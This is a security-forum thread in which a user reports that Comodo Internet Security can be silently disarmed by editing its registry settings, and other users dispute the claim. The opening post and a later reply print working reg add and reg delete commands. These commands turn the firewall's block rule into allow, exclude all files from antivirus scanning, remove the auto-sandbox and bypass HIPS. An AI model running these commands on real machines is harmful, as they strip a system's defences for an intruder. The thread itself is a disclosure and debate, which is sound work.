Big scurity risk due to lack of CIS self-defense

[bazolo]

Programs or user-intruder can imperceptibly disarm CIS security subsystems with the backdoor by modifying the CIS configuration and even if it is password protected
in the following cases:

[ol]- Each app with admin rights marked (auto or manually) as Trusted in CIS when CIS(AutoSandbox,HIPS):on & UAC:on

• Each app marked (auto or manually) as Trusted in CIS when CIS(AutoSandbox,HIPS):on & UAC:off
• Each app with admin rights when CIS(AutoSandbox,HIPS):off & UAC:on
• Any app when CIS(AutoSandbox,HIPS):off & UAC:off
• An user action from terminal or .reg import on an administrator account.
• Probably also remotely from another computer on the local network when RemoteRegistry service is started.[/ol]

Some examples:

[ol]- Insidious modify the predefined factory firewall ruleset named “Blocked Application”

I can read the rule details from cmd:
C:\Windows\system32>reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\Firewall\Predefined\4\Rules\0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\Firewall\Predefined\4\Rules\0
UID REG_SZ {8CA7CD91-648B-4A1D-AB2A-7711A6BC73F8}
Days REG_DWORD 0x7f
StartHour REG_DWORD 0x0
StartMinute REG_DWORD 0x0
StopHour REG_DWORD 0x0
StopMinute REG_DWORD 0x0
ID REG_DWORD 0x0
Index REG_DWORD 0x0
Protocol REG_DWORD 0x1
Action REG_DWORD 0x6
Direction REG_DWORD 0x3
Description REG_SZ Block All Incoming and Outgoing Requests
IPProto REG_DWORD 0x0

Hacking the rule:
C:\Windows\system32>reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\Firewall\Predefined\4\Rules\0 /v Action /t REG_DWORD /d 0x1 /f
The operation completed successfully.

Now, after system restart all firewall rules based on ruleset “Blocked Application” will works as “Allowed Application”

• Annihilation of the anti-virus module

Details of the factory ExcludedApplication rule for SearchIndexer.exe:
C:\Windows\system32>reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\AV\Settings\ExcludedApplications\0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\AV\Settings\ExcludedApplications\0
UID REG_SZ {C948AB6C-9E2D-43BA-8EDD-41FCD05D8344}
Flags REG_DWORD 0x0
Filename REG_SZ C:\Windows\system32\SearchIndexer.exe
DeviceName REG_SZ C:\Windows\System32\SearchIndexer.exe

Adding ALL files to excluded applications:
C:\Windows\system32>reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\AV\Settings\ExcludedApplications\0 /v Filename /t REG_SZ /d . /f

Now, after system restart viruses will be undetectable.

• Disarmament of the automatic sandbox

C:\Windows\system32>reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Sandbox /f

After system restart all untrusted apps will run outside of the automatic sandbox.

• Disarmament of the HIPS

Details of the factory HIPS rule for %windir%\explorer.exe:
C:\Windows\system32>reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2
UID REG_SZ {E20272F6-EB6C-4816-84EB-FC1C971B8388}
Flags REG_DWORD 0x2
Filename REG_SZ %windir%\explorer.exe
DeviceName REG_SZ C:\Windows\explorer.exe
Index REG_DWORD 0x2
TreatAs REG_SZ Windows System Application

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2\Protections
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2\Rules

ALL apps even untrusted will be treated as Windows System Application:
C:\Windows\system32>reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2 /v Filename /t REG_SZ /d . /f
The operation completed successfully.

After system restart all untrusted apps will run freely without HIPS alerts.
[/ol]

I have recorded a short video showing the issue organoleptically Big scurity risk due to lack of CIS self-defense - YouTube

Notes:

• After the hacks the CIS Widget in spite of all indicates “Secure” on green and Support->Diagnostics returns “Diagnostics did not find any errors.”, despite the fact that CIS no longer protects you from anything.

• After the hack the restart is not nesserasy if the user modifies anything in the settings and confirms by OK.

• I think CIS should block read/write access to its own registry keys at the driver level, regardless of configuration.

• Tested on guest Win10 x64 1803 in VMware Workstation 14, CIS 11.0.0.6606 clean install.

[jebuchanan]

CIS is designed to prevent running programs from making changes without authorization. However, users can do what they wish…
If you are going to do something stupid to disarm CIS, don’t blame CIS, blame the user.

[_Wolverine]

Tried it out and nothing happens with my config (Base is Pro Active and then some) and/or CIS is safe and maybe your installation is borked. Perhaps you are running with built-in administrator account or use TrustedInstaller privilegies when doing registry modifications? Anyways I got registry keys succesfully imported notification as administrator but prior and after reboot no registry changes really took place so CIS was intact. This was done in a VM with latest CIS, Windows and Pro Active+ config.

[bazolo]

@!Wolverine! post:3

Tried it out and nothing happens with my config (Base is Pro Active and then some) and/or CIS is safe

Try it:
C:\Windows\system32>reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs
Num REG_DWORD 0x3
InstallPath REG_SZ C:\Program Files\COMODO\COMODO Internet Security
InstallDriver REG_DWORD 0x1
Active REG_DWORD 0x0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\1
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\2

and check the value of the Active. I think that you have a different value
Replace your value in these and try it:
reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\Firewall\Predefined\4\Rules\0 /v Action /t REG_DWORD /d 0x1 /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\AV\Settings\ExcludedApplications\0 /v Filename /t REG_SZ /d . /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Sandbox /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\CmdAgent\CisConfigs\0\HIPS\Policy\2 /v Filename /t REG_SZ /d . /f

@!Wolverine! post:3

and maybe your installation is borked.

Excluded, I tested it on a clean 2 systems and new fresh installed CIS without any modifications with default config.

@!Wolverine! post:3

Perhaps you are running with built-in administrator account or use TrustedInstaller privilegies when doing registry modifications?

I think so, you mean the built-in administator account named administrator but no - I use typical user local acount type Administrator, like most users with temporary elevation of administrative rights with UAC when a request appears.

I recorded a short video showing the situation in a different light, without entering any commands, and by one confirmation with a mouse click.
I added the video link to the first post.

[bazolo]

@John Buchanan post:2

CIS is designed to prevent running programs from making changes without authorization. However, users can do what they wish…
If you are going to do something stupid to disarm CIS, don’t blame CIS, blame the user.

Hi John.
Of course, the weakest link in the security chain is a man, most of them do not know that he is doing something stupid - people are puzzled by window boxes, presuming that it should be confirmed. But sometimes some people have bad intentions.
Take a look at the video I just added to the first post. With just a click of the mouse on .reg file, can disarm the CIS without the user being aware that he is no longer protected.
In addition, applications with administrator rights can easily interfere in CIS settings, I think this is unacceptable.
A lot of trusted applications, even digitally signed, often catches security holes and in this case, they can easily allow the attacker to take full control over the CIS, making it useless as security guard.
Forgive me, but I do not agree with your downplaying the threat.

[Citizen_K]

@bazolo post:5

Hi John.
Of course, the weakest link in the security chain is a man, most of them do not know that he is doing something stupid - people are puzzled by window boxes, presuming that it should be confirmed. But sometimes some people have bad intentions.
Take a look at the video I just added to the first post. With just a click of the mouse on .reg file, can disarm the CIS without the user being aware that he is no longer protected.

Again it is the user doing questionable things. CIS allows the user to do so. It’s how it’s been build from the ground up. CIS is the nanny of program behaviour; not the nanny of user behavior.

In addition, applications with administrator rights can easily interfere in CIS settings, I think this is unacceptable. A lot of trusted applications, even digitally signed, often catches security holes and in this case, they can easily allow the attacker to take full control over the CIS, making it useless as security guard. Forgive me, but I do not agree with your downplaying the threat.

When programs get started by the user or another trusted program the user won't be notified unless when in Paranoid Mode.

When an unknown program starts a trusted program the user will get an alert. If you find a program that is unknown and is capable of modifying CIS settings or taking it down or start trusted application without alert please let us know. Comodo is always interested in these bypasses.

[bazolo]

@EricJH post:6

(…) When an unknown program starts a trusted program the user will get an alert. If you find a program that is unknown and is capable of modifying CIS settings or taking it down or start trusted application without alert please let us know. Comodo is always interested in these bypasses.

Watch what I recorded Big scurity risk due to lack of CIS self-defense - YouTube
I attached here this hack.reg file from the video which just run trusted application from microsoft but it does what I want with CIS, even bad things. I can neutralize CIS with one mouse click even if CIS has password protected Settings.

[Dennis2]

@bazolo post:7

Watch what I recorded Big scurity risk due to lack of CIS self-defense - YouTube
I attached here this hack.reg file from the video which just run trusted application from microsoft but it does what I want with CIS, even bad things. I can neutralize CIS with one mouse click even if CIS has password protected Settings.

The only important thing in your post is ‘I can’

Sorry until you produce a bypass which is actual one, you are wasting everyones time.

Thank you

Dennis

[bazolo]

@Dennis2 post:8

The only important thing in your post is ‘I can’

No, not just me.
The question is whether marked as “trusted” means 100% certainty that you can trust them if most of them is closed source?
What if a hacker signs an application with a stolen certificate on the basis of which each executable code is considered as trusted?

You should rather write “you and all (we only believe that) ‘trusted’ applications can freely modify CIS configuration”.

[Citizen_K]

@bazolo post:9

No, not just me.
The question is whether marked as “trusted” means 100% certainty that you can trust them if most of them is closed source?

In the end there is no 100% certainty with this system. Comodo like any other security firm heavily relies on automated assessment. That’s why there is Report trusted and whitelisted malware here- 2018 (NO LIVE MALWARE!) topic where we can report when we find a malware that slipped through the cracks.

What if a hacker signs an application with a stolen certificate on the basis of which each executable code is considered as trusted?

Then it's a bypass but this type of malware is rare. One that comes to mind is of course Stuxnet.

You should rather write "[b]you and all (we only believe that) 'trusted' applications can freely modify CIS configuration[/b]".

The white list is there for ease of use for the big majority of users. If you feel that is not secure enough CIS empowers you to make your own decisions by using HIPS only and using Paranoid mode.

In the end it is finding the balance between usability and security that works best for your particular needs.

[liosant]

file extensions .reg .bat as are easily found in file sharing sites, trojans use system applications (svchost, dllhost, rundll32, reg.exe …) example:
conhost> cmd > run commandline delete or create registry

not exclusive CIS. >:-D

[prodex]

Of course, bazolo is not wrong about opinion “…I do not agree with your downplaying the threat” as a common statement.

Because of this thread I was looking for more examples and found some succesfully tests for comodo with comodo and ransomware: ransomware vs. comodo.

In all the years I use cis I have never had problems with viruses, worms or trojans. Even if I was a little schocked to read of this issue I trust in comodo because of:

Posted by: EricJH

In the end there is no 100% certainty with this system. Comodo like any other security firm heavily relies on automated assessment. That's why there is Report trusted and whitelisted malware here- 2018 (NO LIVE MALWARE!) topic where we can report when we find a malware that slipped through the cracks.

Problems with trojans, ransomware. Man-in-the-middle a.s.o. is not only a problem for comodo. I feel protected well even with online banking knowing there is no 100% security but a high (I hope so).

[bazolo]

@EricJH post:10

(…) The white list is there for ease of use for the big majority of users. If you feel that is not secure enough CIS empowers you to make your own decisions by using HIPS only and using Paranoid mode.

In the end it is finding the balance between usability and security that works best for your particular needs.

OMG. Guys, wait a minute. Do not blur the heart of the topic being discussed.

[b]I do not criticize the ‘whitelists’ trust mechanism and granting automatic access to the system. It is cool and comfortable for users. And I love it.

I am asking only for something as trivial as to protect access to the branch of the registry responsible for the safe operation of CIS. Only it.[/b]

CIS looks a bit like an armored bodyguard in a state-of-the-art tungsten armor, with thousands of gadgets in a stuffed helmet,
but in Chinese flip-flops or barefoot, with an exposed Achilles heel.
Is it really such a big problem to forbid access to the CIS own keys in the windows registry?
Why do CIS protect own settings with password, if you can run regedit and change everything you want in CIS?
It’s a bit funny that this password is supposed to give the impression of protecting settings, such a dummy.

[Ploget]

What protection is that against you the owner / Admin / Big Cheese?? You would simply remove it or change it!

So you want to protect the Registry branch against yourself??

The point of the Password is to prevent users who DON’T have ultimate rights, changing important settings. The same people or employees who do not have the rights to run Regedit or other critical functions!

@bazolo post:13

I am asking only for something as trivial as to protect access to the branch of the registry responsible for the safe operation of CIS. Only it.

It’s a bit funny that this password is supposed to give the impression of protecting settings, such a dummy.

[bazolo]

@Ploget post:14

What protection is that against you the owner / Admin / Big Cheese?? You would simply remove it or change it!

So you want to protect the Registry branch against yourself??

The point of the Password is to prevent users who DON’T have ultimate rights, changing important settings. The same people or employees who who not have the rights to run Regedit or other critical functions!

You did not understand me. I do not want third-party applications to have access to CIS settings. Only the owner should have this right.

[Ploget]

So far, the only example you have shown is of ‘yourself’ being able to modify these settings. If you could show a third-party application that does this (w/o major CIS warnings etc.), then I’m sure there will be great interest in exploring this. Hypothetical ‘what ifs’ don’t really cut it I’m afraid

@bazolo post:15

You did not understand me. I do not want third-party applications to have access to CIS settings. Only the owner should have this right.

[bazolo]

@Ploget post:16

So far, the only example you have shown is of ‘yourself’ being able to modify these settings. If you could show a third-party application that does this (w/o major CIS warnings etc.), then I’m sure there will be great interest in exploring this. Hypothetical ‘what ifs’ don’t really cut it I’m afraid

ok, for example ‘trusted’ applications like CCleaner or jv16 PowerTools for clearing registry.
How can I be sure that by clearing and optimizing the registry, they do not recognize data that is important to CIS as trash and will remove or damage it?
This is a real example. Recently, CCleaner demolished millions of chrome browsers by interfering with their data:

[i]changelog
v5.42.6499 (16 May 2018)
CCleaner IMPORTANT FIX

Browser Cleaning

• Fixed a critical issue where very long float values were saved in scientific format, causing the Chrome profile to be lost
• Fixed a critical issue where systems using non-standard decimal separators caused data to be stored incorrectly, causing the Chrome profile to be lost[/i]

It hit chrome, but it might as well have touched the CIS.
We are talking about a security-related application, not a communicator for children. The point is that it is impossible to trust even trusted applications when it comes to accessing CIS settings. Built-in protection of CIS settings would increase resistance to various potential attacks.

[prodex]

Would that be possible if you protected it with hips “protected objects” ?

[bazolo]

@prodex post:18

Would that be possible if you protected it with hips “protected objects” ?

Yes maybe possible, I’m just experimenting with blocking access to Comodo Keys from HIPS for all trusted applications, with the exception of Comodo itself.

[Ploget]

Again, with CCleaner and especially jv16 - you are trying to protect the user with all rights against themselves and what they are running.

You mean like this: Comodo Internet Security Software v7.0- System Critical Registry Keys Protection?

@bazolo post:17

ok, for example ‘trusted’ applications like CCleaner or jv16 PowerTools for clearing registry.
How can I be sure that by clearing and optimizing the registry, they do not recognize data that is important to CIS as trash and will remove or damage it?
This is a real example. Recently, CCleaner demolished millions of chrome browsers by interfering with their data:
Built-in protection of CIS settings would increase resistance to various potential attacks.